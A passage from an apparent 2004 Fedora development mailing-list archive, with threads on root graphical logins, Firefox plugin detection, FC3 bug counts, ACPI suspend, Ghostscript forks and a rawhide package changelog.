Message-ID: <41746AED.7060508@awesomeplay.com> Jonathan Andrews wrote: >>Disable root graphical logins. >> >>Period. >> >>make it so gdm or kdm or xdm just exit. >> >>hell, you could make the xinitrc script handle it: >> >>if your uid is 0 then you throw up a hate-filled messaged and exit. >> >>EOD. >> >>If you can't flip to a console and take care of the problem there as >>root, then you REALLY don't need to be logged into a graphical client to >>do it. >> >> >Bite me ! > Calm down. Being an ass isn't going to make anyone want to listen to your point of view. Just the opposite, in fact. For the record, just because Fedora by default might ship with the GDM option to disable root logins, nothing stops you from changing that option on your own systems. >I want to run some of my boxes as root with X, not to mention the >problems this would cause trying to work with some cluster setups and >embedded boxes. I have X code then even requires to run UID 0. > >Users should have the power to choose, even if you personally think its >a poor choice. > > You always have the power to choose another distribution. Just because a choice exists doesn't mean it should be encouraged. Everyone has the choice to open up telnet with root login allowed and no password. Doesn't mean we make that the default. For good reason, of course. >If you have such a security fetish then go play with firewall rules in >the corner and leave us users to decide how to operate our machines ! > > If you have such a control fetish then go play with LFS in the corner and leave the Fedora developers to decide how to develop their distribution ! >Jon > > > > > From jspaleta at gmail.com Tue Oct 19 02:19:04 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 18 Oct 2004 22:19:04 -0400 Subject: Latest firefox doesn't pick up plugins in /usr/lib/mozilla In-Reply-To: <1098146154.5341.4.camel@tiger> References: <1098146154.5341.4.camel@tiger> Message-ID: <604aa79104101819192012bb18@mail.gmail.com> On Tue, 19 Oct 2004 00:35:54 +0000, Louis Garcia wrote: > I've placed flash and java plugins in /usr/lib/mozilla and firefox > picked them up. With the latest version of firefox this does not happen. > firefox-0.10.1-1.0PR1.12 is the version I'm running. worksforme rpm -q firefox firefox-0.10.1-1.0PR1.12 ls /usr/lib/mozilla/plugins/ flashplayer.xpt libjavaplugin_oji.so nphelix.xpt libflashplayer.so nphelix.so about:plugins in firefox lists java shockwave flash and helix. -jef From louisg00 at bellsouth.net Tue Oct 19 02:45:46 2004 From: louisg00 at bellsouth.net (Louis Garcia) Date: Tue, 19 Oct 2004 02:45:46 +0000 Subject: Latest firefox doesn't pick up plugins in /usr/lib/mozilla Message-ID: <1098153946.6090.3.camel@tiger> > > I've placed flash and java plugins in /usr/lib/mozilla and firefox > > picked them up. With the latest version of firefox this does not happen. > > firefox-0.10.1-1.0PR1.12 is the version I'm running. > > worksforme > rpm -q firefox > firefox-0.10.1-1.0PR1.12 > ls /usr/lib/mozilla/plugins/ > flashplayer.xpt libjavaplugin_oji.so nphelix.xpt > libflashplayer.so nphelix.so > > about:plugins in firefox lists java shockwave flash and helix. > > -jef I removed and installed the plugins again and it works now. Don't know what happened there. --Louis From jonathansavage at gmail.com Tue Oct 19 03:39:22 2004 From: jonathansavage at gmail.com (Jon Savage) Date: Mon, 18 Oct 2004 20:39:22 -0700 Subject: Lock screen does not work for root in gnome In-Reply-To: <41746AED.7060508@awesomeplay.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <41746AED.7060508@awesomeplay.com> Message-ID: <2ad7cea104101820394133debd@mail.gmail.com> > >>Disable root graphical logins. > >> > >>Period. > >> > >>make it so gdm or kdm or xdm just exit. > >> > >>hell, you could make the xinitrc script handle it: > >> > >>if your uid is 0 then you throw up a hate-filled messaged and exit. > >> > >>EOD. > >> > >>If you can't flip to a console and take care of the problem there as > >>root, then you REALLY don't need to be logged into a graphical client to > >>do it. > >> > >> > >Bite me ! No... as others have said disabling a feature by *default* does not in and of itself make it impossible for an OP to edit /etc/whatever.conf to enable root's logging into a graphical environment. It *does* impose a sensible default (for most people), which in turn should encourage the teeming_masses(tm) to avoid high risk behavior w/o at least thinking it through first. Note that there are already some linux distros out there, not naming names, where the whole pesky user stuff has been eliminated altogether. Those simply default to root. IMHO we don't want to go there either, the windows 98/XP/2000 style admin / power user defaults have caused enough damage already. Given the choice & sensible defaults most users / OPs will do the right thing. The trick is leading them towards that especially where windows refugees are concerned. Like it or not a significant portion of linix users are, in fact, coming from a predominantly windows background. Either way default behaviors should reflect best practices whether defined as the most intuitive (e.g. nautilus bringing up a burn window when blank CD media is inserted) or most secure (ftp is not installed/enabled by default, right). People who have other preferences / special needs can & *should* alter the defaults accordingly to suit their needs. -- Bests, JS From mpeters at mac.com Tue Oct 19 03:54:24 2004 From: mpeters at mac.com (Michael A. Peters) Date: Tue, 19 Oct 2004 03:54:24 +0000 Subject: Proposal: new package in fc3 In-Reply-To: <1098128476.3809.36.camel@bobcat.mine.nu> (from ville.skytta@iki.fi on Mon Oct 18 12:41:17 2004) References: <777aada20410181020e77045@mail.gmail.com> <20041018205137.6606f24c.fedora@wir-sind-cool.org> <1098128476.3809.36.camel@bobcat.mine.nu> Message-ID: <1098158064l.4279l.0l@devel.mpeters.us> On 10/18/2004 12:41:17 PM, Ville Skytt? wrote: > On Mon, 2004-10-18 at 21:51, Michael Schwendt wrote: > > > If you ported this from Perl to Python, you might get support from > the > > Python lobby inside Red Hat, which seems to be much stronger than > the > > Perl lobby. > > I wonder if rewriting Perl in Python would "solve" this "problem" > once > and for all :? > LOL! From notting at redhat.com Tue Oct 19 04:17:41 2004 From: notting at redhat.com (Bill Nottingham) Date: Tue, 19 Oct 2004 00:17:41 -0400 Subject: Fedora Core 3 Bug Status - 2004-10-19 Message-ID: <20041019041741.GB19098@nostromo.devel.redhat.com> Based on bug #123268 ('FC3Target') and bug #130887 ('FC3Blocker') 2004-10-19 Severity Total Closed Need Testing BLOCKER 130 102 ( 78.46 %) 13 ( 12.75 %) TARGET 920 517 ( 56.20 %) 54 ( 10.44 %) Overall 1050 619 ( 58.95 %) 67 ( 10.00 %) 2004-10-18 Severity Total Closed Need Testing BLOCKER 129 98 ( 75.97 %) 12 ( 12.24 %) TARGET 920 505 ( 54.89 %) 51 ( 10.10 %) Overall 1049 603 ( 57.48 %) 63 ( 10.00 %) 2004-10-16 Severity Total Closed Need Testing BLOCKER 122 96 ( 78.69 %) 12 ( 12.50 %) TARGET 916 501 ( 54.69 %) 52 ( 10.38 %) Overall 1038 597 ( 57.51 %) 64 ( 10.00 %) 2004-10-15 Severity Total Closed Need Testing BLOCKER 120 93 ( 77.50 %) 11 ( 11.83 %) TARGET 914 495 ( 54.16 %) 52 ( 10.51 %) Overall 1034 588 ( 56.87 %) 63 ( 10.00 %) 2004-10-14 Severity Total Closed Need Testing BLOCKER 117 90 ( 76.92 %) 16 ( 17.78 %) TARGET 923 484 ( 52.44 %) 56 ( 11.57 %) Overall 1040 574 ( 55.19 %) 72 ( 12.00 %) 2004-10-13 Severity Total Closed Need Testing BLOCKER 115 85 ( 73.91 %) 13 ( 15.29 %) TARGET 914 478 ( 52.30 %) 57 ( 11.92 %) Overall 1029 563 ( 54.71 %) 70 ( 12.00 %) 2004-10-11 Severity Total Closed Need Testing BLOCKER 105 78 ( 74.29 %) 10 ( 12.82 %) TARGET 892 438 ( 49.10 %) 49 ( 11.19 %) Overall 997 516 ( 51.76 %) 59 ( 11.00 %) 2004-09-30 Severity Total Closed Need Testing BLOCKER 90 67 ( 74.44 %) 11 ( 16.42 %) TARGET 831 374 ( 45.01 %) 45 ( 12.03 %) Overall 921 441 ( 47.88 %) 56 ( 12.00 %) 2004-09-23 Severity Total Closed Need Testing BLOCKER 74 43 ( 58.11 %) 9 ( 20.93 %) TARGET 703 286 ( 40.68 %) 38 ( 13.29 %) Overall 777 329 ( 42.34 %) 47 ( 14.00 %) 2004-09-08 Severity Total Closed Need Testing BLOCKER 35 14 ( 40.00 %) 3 ( 21.43 %) TARGET 591 194 ( 32.83 %) 33 ( 17.01 %) Overall 626 208 ( 33.23 %) 36 ( 17.00 %) 2004-08-18 Severity Total Closed Need Testing TARGET 415 61 ( 14.70 %) 16 ( 26.23 %) From feliciano.matias at free.fr Tue Oct 19 05:41:21 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Tue, 19 Oct 2004 07:41:21 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> <1098127729.2798.27.camel@tux.lan> <1098130790.3777.4.camel@decepticon.boston.redhat.com> Message-ID: <1098164482.3349.2.camel@localhost.localdomain> Le lundi 18 octobre 2004 ? 23:08 +0200, Alfredo Ferrari a ?crit : > Hi > > I suppose that after the change alsa mixers will control OSS volume(s) > as well: there are still plenty of apps using OSS These apps don't use gstreamer. > and many of them are > unlikely to be ported to alsa in a short term (if ever). > > Alfredo -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From mark at wormgoor.com Tue Oct 19 06:28:11 2004 From: mark at wormgoor.com (Mark Wormgoor) Date: Tue, 19 Oct 2004 08:28:11 +0200 Subject: ACPI suspend to RAM in FC3T3 In-Reply-To: References: Message-ID: <1098167291.5964.1.camel@mark-linux.wormgoor.com> Hi, > The ACPI support in the recent kernels is improving all the time, so for > the first time I was able to suspend to RAM the FC3T3 with the default > stock kernel. > I was able to do it with echo 3 > /proc/acpi/sleep or echo mem > > /sys/power/state. > Is any graphical option to suspend from gnome ? I did not find any beside > shutdown, restart, logout. There should be at least other two: suspend to > ram and suspend to disk(hibernate). Speaking of this, is there any way to tell Linux to go to sleep after a certain inactivity timeout? It would be nice if my desktop would go to sleep after I haven't used it in 10 minutes. I used to be able to configure that using the apm in bios, but current ACPI bioses lack such settings. KInd regards, Mark -- *************************************************************** * |\ /| | /| / Mark Wormgoor * * | \ / | | / | / mailto:mark at wormgoor.com * * | \/ |ark |/ |/ormgoor http://www.wormgoor.com/mark/ * *************************************************************** From mattdm at mattdm.org Tue Oct 19 07:03:58 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Tue, 19 Oct 2004 03:03:58 -0400 Subject: ACPI suspend to RAM in FC3T3 In-Reply-To: <1098167291.5964.1.camel@mark-linux.wormgoor.com> References: <1098167291.5964.1.camel@mark-linux.wormgoor.com> Message-ID: <20041019070358.GA28750@jadzia.bu.edu> On Tue, Oct 19, 2004 at 08:28:11AM +0200, Mark Wormgoor wrote: > Speaking of this, is there any way to tell Linux to go to sleep after a > certain inactivity timeout? It would be nice if my desktop would go to > sleep after I haven't used it in 10 minutes. How much to sleep? You can make the display do this by changing the xscreensaver settings. If you want the whole thing to suspend, we're not there yet. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From mark at wormgoor.com Tue Oct 19 07:51:48 2004 From: mark at wormgoor.com (Mark Wormgoor) Date: Tue, 19 Oct 2004 09:51:48 +0200 Subject: ACPI suspend to RAM in FC3T3 In-Reply-To: <20041019070358.GA28750@jadzia.bu.edu> References: <1098167291.5964.1.camel@mark-linux.wormgoor.com> <20041019070358.GA28750@jadzia.bu.edu> Message-ID: <1098172308.6251.3.camel@mark-linux.wormgoor.com> Hi, > On Tue, Oct 19, 2004 at 08:28:11AM +0200, Mark Wormgoor wrote: > > Speaking of this, is there any way to tell Linux to go to sleep after a > > certain inactivity timeout? It would be nice if my desktop would go to > > sleep after I haven't used it in 10 minutes. > > How much to sleep? You can make the display do this by changing the > xscreensaver settings. If you want the whole thing to suspend, we're not > there yet. My display does go off, so that's not a problem. But I want the system to go into standby / suspend. The bootprocedure takes a long time if I just want to sit down to read my e-mail. But, leaving my desktop on 7x24 costs me Eur 250,- per year in power costs. (Yes, it's that expensive here). I just want to save on my power bill ;) Kind regards, Mark -- *************************************************************** * |\ /| | /| / Mark Wormgoor * * | \ / | | / | / mailto:mark at wormgoor.com * * | \/ |ark |/ |/ormgoor http://www.wormgoor.com/mark/ * *************************************************************** From twaugh at redhat.com Tue Oct 19 08:16:44 2004 From: twaugh at redhat.com (Tim Waugh) Date: Tue, 19 Oct 2004 09:16:44 +0100 Subject: status of ghostscript In-Reply-To: <417034D3.1010906@wanadoo.es> References: <417034D3.1010906@wanadoo.es> Message-ID: <20041019081644.GN14187@redhat.com> On Fri, Oct 15, 2004 at 10:36:35PM +0200, Xose Vazquez Perez wrote: > what's the ghostscript future in FC ? > > GNU Ghostscript http://www.ghostscript.com/doc/gnu/ > http://www.gnu.org/software/ghostscript/ > ESP Ghostscript http://www.cups.org/ghostscript.php Good question. Well, what do we all think? > GPL Ghostscript http://sourceforge.net/projects/ghostscript/ This site is no longer current, by the way. The GNU Ghostscript project is the same thing at GPL Ghostscript. > Slackware has changed to ESP because it brings more > drivers and has a better integration with CUPS Well, the drawback is that you end up being further removed from the origin of the source code. The benefit is that someone else does (a lot of) the integration for you. Does ESP Ghostscript include the patches for Japanese support, out of interest? What are the differences between the ESP Ghostscript package and our package based on GNU Ghostscript (which has lots of patches)? Which direction should Fedora Core take for ghostscript? Now is a good time to discuss that, since we're overdue to jump to version 8. Tim. */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From mpeters at mac.com Tue Oct 19 08:53:22 2004 From: mpeters at mac.com (Michael A. Peters) Date: Tue, 19 Oct 2004 08:53:22 +0000 Subject: Latest firefox doesn't pick up plugins in /usr/lib/mozilla In-Reply-To: <1098153946.6090.3.camel@tiger> (from louisg00@bellsouth.net on Mon Oct 18 19:45:46 2004) References: <1098153946.6090.3.camel@tiger> Message-ID: <1098176002l.4089l.2l@devel.mpeters.us> On 10/18/2004 07:45:46 PM, Louis Garcia wrote: > > I removed and installed the plugins again and it works now. > Don't know what happened there. If mozilla (firebird, whatever flavor) is doing anything - it won't load new plugins until all process have finished (IE it's running) - then it will load them next time it starts. IE if you had a download window open or something - the new plugins wouldn't be registered until ALL mozilla windows were closed and the browser started fresh. From harald at redhat.com Tue Oct 19 09:03:50 2004 From: harald at redhat.com (Harald Hoyer) Date: Tue, 19 Oct 2004 11:03:50 +0200 Subject: rawhide report: 20041015 changes In-Reply-To: <1098130849.5524.3.camel@dhollis-lnx.centricconsulting.com> References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> <1097854658.3615.1.camel@davidz> <20041015154223.GC23638@redhat.com> <1097856118.3615.6.camel@davidz> <1098130849.5524.3.camel@dhollis-lnx.centricconsulting.com> Message-ID: <4174D876.50506@redhat.com> David Hollis wrote: > On Fri, 2004-10-15 at 12:01 -0400, David Zeuthen wrote: > > >>That is correct. It works with .610 and it doesn't work well with .624. >> >> >>>Thats.. puzzling. In what way does it fail? >> >>hald looks at e.g. /dev/sda1 to probe for file system labels, UUID's, >>file system types etc. and it appears that reading fails. >> >> >>>strace diff of both working/failing may highlight something useful. >>> > > > I have noticed that with recent versions (maybe 0.10 and higher) of the > Intel Wireless ipw2200 driver, haldaemon dies on startup. If I unload > the ipw2200 module, hal loads. The strace output shows that hal is > diddling around with the sysfs entries for the ipw2200 pci device when > it blows. I haven't spent enough time gathering initial info to be able > to determine if its an ipw2200 problem or a hal problem to be ready to > send up a bug report. When I get back to states if it hasn't resolved > itself with newer versions of both items, I'll have to do that. > update to udev-039 and it should work again From arcofdescent at gmail.com Tue Oct 19 09:09:27 2004 From: arcofdescent at gmail.com (Rohan Almeida) Date: Tue, 19 Oct 2004 14:39:27 +0530 Subject: Proposal: new package in fc3 In-Reply-To: <80d7e409041018112724e16730@mail.gmail.com> References: <777aada20410181020e77045@mail.gmail.com> <80d7e409041018112724e16730@mail.gmail.com> Message-ID: <777aada204101902096dbd3cfe@mail.gmail.com> Stephen J. Smoogen wrote: > > I think it is too late for FC3 with the last test ISO available, > translations being worked on, etc etc.. It would be a great addition > for FC4. I know I will be installing it on my Firewall when I get FC3 > gold installed on it. > Thanks for your comments. Yes. I guess its a bit too late for FC3. Can anyone help me regarding the process to get this package into the current development tree of Fedora? Is it true that only RedHat employees can maintain Fedora packages? -- Rohan From rodd at clarkson.id.au Tue Oct 19 10:31:08 2004 From: rodd at clarkson.id.au (Rodd Clarkson) Date: Tue, 19 Oct 2004 20:31:08 +1000 Subject: Latest firefox doesn't pick up plugins in /usr/lib/mozilla In-Reply-To: <1098176002l.4089l.2l@devel.mpeters.us> References: <1098153946.6090.3.camel@tiger> <1098176002l.4089l.2l@devel.mpeters.us> Message-ID: <1098181868.3789.20.camel@localhost.localdomain> On Tue, 2004-10-19 at 08:53 +0000, Michael A. Peters wrote: > On 10/18/2004 07:45:46 PM, Louis Garcia wrote: > > > > > I removed and installed the plugins again and it works now. > > Don't know what happened there. > > If mozilla (firebird, whatever flavor) is doing anything - it won't > load new plugins until all process have finished (IE it's running) - > then it will load them next time it starts. > > IE if you had a download window open or something - the new plugins > wouldn't be registered until ALL mozilla windows were closed and the > browser started fresh. I'm not sure you're right. I've regularly installed new plugins and had them work without having to restart Mozilla or FireFox. Both just detect the new plugins while running and add them to the list. I've done this with Flash, Java and RealAudio on a number of systems. Rodd -- >From the pain come the dream >From the dream come the vision >From the vision come the people >From the people come the power >From this power come the change - Peter Gabriel From buildsys at redhat.com Tue Oct 19 11:57:06 2004 From: buildsys at redhat.com (Build System) Date: Tue, 19 Oct 2004 07:57:06 -0400 Subject: rawhide report: 20041019 changes Message-ID: <200410191157.i9JBv6606112@porkchop.devel.redhat.com> Updated Packages: anaconda-10.0.3.20-1 -------------------- * Mon Oct 18 2004 Jeremy Katz - 10.0.3.20-1 - Fix traceback with %post logging (Gijs Hollestelle, #136154) - When using a local stage2.img for FTP/HTTP install, give an error earlier if you point at an invalid tree (#135603, #117155, #120101) - Add a trailing newline to /etc/sysconfig/kernel - Try to fix the icon theme - Rebuild against new dietlibc, hopefully fixes CJK text installs bind-9.2.4-2 ------------ * Mon Oct 18 2004 Jason Vas Dias - 20:9.2.4-2 - Fix bug 136243: bind-chroot %post must run restorecon -R /var/named/chroot - Fix bug 135175: named.init must return non-zero if named is not run - Fix bug 134060: bind-chroot %post must use mktemp, not /tmp/named - Fix bug 133423: bind-chroot %files entries should have been %dirs cdrtools-2.01.1-5 ----------------- * Mon Oct 18 2004 Harald Hoyer - 8:2.01.1-5 - added missing return statements (bug 136088) desktop-file-utils-0.9-2 ------------------------ * Mon Oct 18 2004 Miloslav Trmac - 0.9-2 - Output error message instead of assertion failure (#134934) dhcpv6-0.10-8 ------------- * Mon Oct 18 2004 Jason Vas Dias - 0.10-7 - fix bug 136146: clean up code - prevent compiler warnings dietlibc-0.27-3 --------------- * Mon Oct 18 2004 Jeremy Katz - 0.27-3 - new improved signal implementation for i386 to work with execshield (#134546) emacs-21.3-17 ------------- * Mon Oct 18 2004 Jens Petersen - 21.3-17 - fix etag alternatives removal when uninstalling (Karsten Hopp, 136137) epiphany-1.4.4-4 ---------------- * Mon Oct 18 2004 Christopher Aillon 1.4.4-4 - Put back ppc firefox-0.10.1-1.0PR1.10 ------------------------ * Tue Oct 12 2004 Christopher Aillon 0:0.10.1-1.0PR1.10 - Fix for 64 bit crash at startup (b.m.o #256603) * Fri Oct 08 2004 Christopher Aillon 0:0.10.1-1.0PR1.9 - Fix compile issues (#134914) - Add patch to fix button focus issues (#133507) - Add patches to fix tab focus stealing issue (b.m.o #124750) * Fri Oct 01 2004 Christopher Aillon 0:0.10.1-1.0PR1.8 - Update to 0.10.1 - Fix tab switching keybindings (#133504) firstboot-1.3.33-1 ------------------ * Mon Oct 18 2004 Adrian Likins - 1.3.33-1 - #129885 (do the right thing on ia64) - #129532 (typo in display file location) gaim-1.0.1-2 ------------ * Wed Oct 13 2004 Warren Togami 1.0.1-2 - CAN-2004-0891 gcc-3.4.2-6 ----------- * Mon Oct 18 2004 Jakub Jelinek 3.4.2-6 - update from gcc-3_4-branch - PRs c++/15786, c++/15876, c++/16301, c/16999, c/17023, c++/17115, c/17384, c++/17393, c++/17524, c++/17685, c++/17821, c++/17826, c++/17868, c++/17976, debug/13841, debug/14492, debug/15860, libstdc++/17850, other/17361, rtl-opt/17503, rtl-optimization/17027, rtl-optimization/17853, target/14454, target/17245, target/17770 - fix ICE in addqi_1_slp on i386 (#135872) - avoid symlinks in /usr/include/c++/3.4.2/ on ppc and sparc (#135611) - make sure .toc{,1} sections are created on ppc -m64 -mminimal-toc (#134248, PR target/17751) - define __GNUC_RH_RELEASE__ macro to match %{gcc_release} rpm macro (well, its first number) * Thu Oct 07 2004 Jakub Jelinek 3.4.2-5 - update from gcc-3_4-branch - PRs target/16007, 16406, libstdc++/10975, libstdc++/17505 - fix a fastjar bug (Tom Tromey, #74106) - obsolete gcc-chill (#84670) - don't use Koenig lookup if normal lookup finds a member function (Nathan Sidwell, #134676, PR c++/17829) * Tue Oct 05 2004 Jakub Jelinek 3.4.2-4 - remove VMClassLoader change glibc-2.3.3-70 -------------- * Tue Oct 19 2004 Jakub Jelinek 2.3.3-70 - update from CVS - require newer selinux-policy (#135978) - add %dir for /var/run/nscd and /var/db/nscd and %ghost files in it - conflict with gcc4 4.0.0-0.6 and earlier (needs __builtin_object_size) * Mon Oct 18 2004 Jakub Jelinek 2.3.3-69 - update from CVS - object size checking support (-D_FORTIFY_SOURCE={1,2}) gnome-media-2.8.0-2 ------------------- * Mon Oct 18 2004 Colin Walters 2.8.0-2 - Add patch to not show oss mixers gnome-panel-2.8.1-3 ------------------- * Mon Oct 18 2004 - 2.8.1-3 - change redhat-web.desktop and redhat-email.desktop to be in /usr/share instead of using the menu path gnome-utils-2.8.0-5 ------------------- * Mon Oct 18 2004 Marco Pesenti Gritti 1:2.8.0-5 - #136032 Downgrade gucharmap to 4.8.20 (stable series). 5.x was used by mistake. gnome-volume-manager-1.1.0-5 ---------------------------- * Mon Oct 18 2004 John (J5) Palmieri - 1.1.0-5 - Merged the photo-defaults patch with a new rh-defaults patch - Shut off autorun by default as it is a security concern and we currently don't have any use for it - Added policy-after-explicit-mount-only patch which fixes problems such as a user mounting a removable drive from the command line and a Nautilus window pops up, and two Nautilus windows popping up in browser mode when a device is mounted through Nautilus. hal-0.4.0-4 ----------- * Mon Oct 18 2004 David Zeuthen 0.4.0-4 - Make hald cope with missing hotplug events from buggy drivers (#135202) - Fix the order of mount options in fstab-sync (#136191) - Allow x86 legacy floppy drives in default policy (#133777) - Fix fstab-sync crashing without any options and not run from hald (#136214) - man page for fstab-sync references non-existing files (#136026) - Add Russian translations for hal (#135853) - Add Hungarian translations for hal htmlview-3.0.0-8 ---------------- * Mon Oct 18 2004 - 3.0.0-8 - special case mozilla to handle the ' -mail' flag. * Mon Oct 18 2004 - 3.0.0-7 - add back the redhat-web/redhat-email links for the panel im-sdk-12.1-1 ------------- * Mon Oct 18 2004 Jens Petersen - 1:12.1-1 - update to 12.1 final (svn2002, stable r12_1 branch) - the following patches are included and so no longer needed: iiimsf-rename-and-install-under-libexec.patch, iiimsf-fix-missing-sockdir.patch and iiimsf-improve-segv-log.patch - update iiimsf-rh-debuginfo.patch - fix debuginfo missing many files (136159) - add im-sdk-12.1-preserve-FLAGS.patch to prevent subpackages from overriding CFLAGS, CXXFLAGS and LDFLAGS so that debuginfo gets generated completely - include RPM_OPT_FLAGS in CFLAGS and CXXFLAGS - add gimlet-indic-lang-data.patch to correct Bengali locale in language data (Lawrence Lim, 134194) - add is_snapshot variable * Sat Oct 16 2004 Akira TAGOH - added iiimf-libs-devel Requires: iiimf-libs = %{epoch}:%{version}-%{release} (#135977) initscripts-7.93-1 ------------------ * Mon Oct 18 2004 Bill Nottingham 7.93-1 - translation updates - fix handling of GATEWAYDEV (#133575, ) kernel-utils-2.4-13.1.38 ------------------------ * Mon Oct 18 2004 Dave Jones - SMP support for cpuspeed (#134398) lftp-3.0.6-3 ------------ * Mon Oct 18 2004 Jason Vas Dias 3.0.6-3 - rebuilding for current FC3 glibc fixes bug 136109 mailman-2.1.5-26 ---------------- * Sat Oct 16 2004 John Dennis 3:2.1.5-26 - fix typo in install documentation - fix error in templates/Makefile.in, bad install args, fixes bug #136001, thank you to Kaj J. Niemi for spotting this. mtr-0.54-10 ----------- * Mon Oct 18 2004 Phil Knirsch 2:0.54-10 - rebuilt * Wed Oct 06 2004 Phil Knirsch 2:0.54-9 - Add CVE patch for security reasons (#129386) - Add patch to fix broken --address option (#132628) - Add patch to fix broken reverse DNS lookups for ipv6 (#134532) nautilus-2.8.1-4 ---------------- * Mon Oct 18 2004 Marco Pesenti Gritti - 2.8.1-4 - #135824 Fix throbber position netpbm-10.25-2 -------------- * Mon Oct 18 2004 Jindrich Novy 10.25-2 - avoid compile crash when "-msse" is in CFLAGS * Mon Oct 18 2004 Jindrich Novy 10.25-1 - update to latest upstream 10.25 - drop initvar patch - update security, misc patch - add bmpbpp patch to use only appropriate bit depths for BMP (#135675) octave-2.1.57-7 --------------- * Mon Oct 18 2004 Lon Hohberger 2.1.57-7 - Don't forget default attributes for -devel package * Mon Oct 18 2004 Lon Hohberger 2.1.57-6 - Remove old lib/lib64 badness. * Wed Oct 13 2004 Lon Hohberger 2.1.57-5 - Split into octave and octave-devel pango-1.6.0-4 ------------- * Mon Oct 18 2004 Owen Taylor - 1.6.0-4 - Move place where we compute fontset metrics to fix problems with line height in CJK locales (#131218) parted-1.6.15-5 --------------- * Mon Oct 18 2004 Jeremy Katz - 1.6.15-5 - add patch from Matt Domsch to add a unique signature to new DOS labels so that we can later determine which BIOS disk is which (#106674) postfix-2.1.5-2.2 ----------------- * Mon Oct 18 2004 Thomas Woerner 2:2.1.5-2.2 - automated postalias call in init script - removed postconf call from spec file: moved changes into patch redhat-artwork-0.116-1 ---------------------- * Mon Oct 18 2004 Alexander Larsson - 0.116-1 - Add all translations to ALL_LINGUAS - Fix .au and tiff icon names. * Thu Oct 14 2004 Alexander Larsson - 0.115-1.1E - RHEL build redhat-menus-1.12-1 ------------------- * Mon Oct 18 2004 - 1.12-1 - new version to deal with default mail client * Mon Oct 18 2004 - 1.11-1 - New release to get new translations and change the default web browser rpmdb-fedora-2.92-0.20041019 ---------------------------- samba-3.0.8-0.pre1.2 -------------------- * Fri Oct 15 2004 Jay Fenlason 3.0.8-0.pre1.2 - Re-enable the x_fclose patch that was accidentally disabled in 3.0.8-0.pre1.1. This closes #135832 - include Nalin's -fqdn and -salt patches. selinux-policy-targeted-1.17.30-2.2 ----------------------------------- * Mon Oct 18 2004 Dan Walsh 1.17.30-2.2 - Add mailman changes to cover rearrangement - Add fixes to make ldap patch on nscd work. - Move back to version 1.17.30 for FC3 release. - Add nscd /var/db/nscd directory * Wed Oct 13 2004 Dan Walsh 1.17.32-1 - Latest from NSA * Wed Oct 13 2004 Dan Walsh 1.17.31-2 - Begin fixing bugs when turning off unlimitedinitrc shadow-utils-4.0.3-36 --------------------- * Mon Oct 18 2004 Miloslav Trmac - 2:4.0.3-36 - Change symlink ownership when copying from /etc/skel (#66819, patch by Michael Weiser) shared-mime-info-0.15-10 ------------------------ * Mon Oct 18 2004 Alexander Larsson - 0.15-10 - Fix for mime sniffing on big-endian spamassassin-3.0.0-3 -------------------- * Mon Oct 18 2004 Warren Togami - 3.0.0-3 - Fix local.cf rewrite subject option (#133355 Christof Damian) speex-1.0.4-4 ------------- * Mon Oct 18 2004 Miloslav Trmac - 1.0.4-4 - Fix version in pkg-config file (#135987, patch by Michael Schwendt) squid-2.5.STABLE6-3 ------------------- * Mon Oct 18 2004 Jay Fenlason 7:2.5.STABLE6-3 - include patch from Ulrich Drepper to stop problems with O_NONBLOCK. This closes #136049 transfig-3.2.4-8 ---------------- * Mon Oct 18 2004 Miloslav Trmac - 1:3.2.4-8 - Fix at least a few obvious instances of C abuse (partly #74594 with patch by Sysoltsev Slawa) - Drop -Dcfree=free fix, not needed with current version udev-039-3 ---------- * Mon Oct 18 2004 Harald Hoyer - 039-3 - refined wait_for_sysfs for udev.static * Mon Oct 18 2004 Harald Hoyer - 039-2 - improved wait_for_sysfs for virtual consoles with Kay Siever's patch - wait for ppp class - wait for LVM dm- devices - integrate wait_for_sys in udev.static for the initrd * Mon Oct 18 2004 Harald Hoyer - 039-1 - version 039, fixes also manpage bug 135996 - fixed glibc issue for static version (getgrnam, getpwnam) (bug 136005) - close the syslog in every app wordtrans-1.1pre13-8 -------------------- * Mon Oct 18 2004 Than Ngo 1.1pre13-8 - fix recursive directory link #136098 xemacs-21.4.15-9 ---------------- * Mon Oct 18 2004 Jens Petersen - 21.4.15-9 - fix etag alternatives removal when uninstalling (Karsten Hopp, 136137) * Wed Oct 06 2004 Jens Petersen - xemacs-el no longer requires xemacs for -nox users (Lars Hupfeldt Nielsen, 134479) * Thu Sep 30 2004 Jens Petersen - 21.4.15-8 - cleanup and update .desktop file - make xemacs not appear in the desktop menu (Seth Nickell,132567) - move the desktop file from -common to main package - etags is now handled by alternatives (92256) - no longer require ctags - turn back on wnn support and add xemacs-21.4.15-wnnfix-128362.patch (Yukihiro Nakai, 128362) xorg-x11-6.8.1-8 ---------------- * Mon Oct 18 2004 Mike A. Harris 6.8.1-8 - Added xorg-x11-6.8.1-ati-radeon-segv-130888.patch from Kevin Martin to fix linked list related SEGV for bug (#130888) - Added xorg-x11-6.8.1-ati-radeon-panel-timing-param-init-130888.patch by Kevin Martin to fix panel timing issue in Radeon driver (#130888) * Thu Oct 14 2004 Soren Sandmann 6.8.1-7 - Add xorg-x11-6.8.1-xmodmap-overflows.patch (#83720, #103161). yum-2.1.9-1 ----------- * Mon Oct 18 2004 Jeremy Katz - 2.1.9-1 - 2.1.9 includes the path fix * Mon Oct 18 2004 Jeremy Katz - 2.1.8-2 - fix path in /usr/bin/yum - turn on gpgchecking by default From kmaraas at broadpark.no Tue 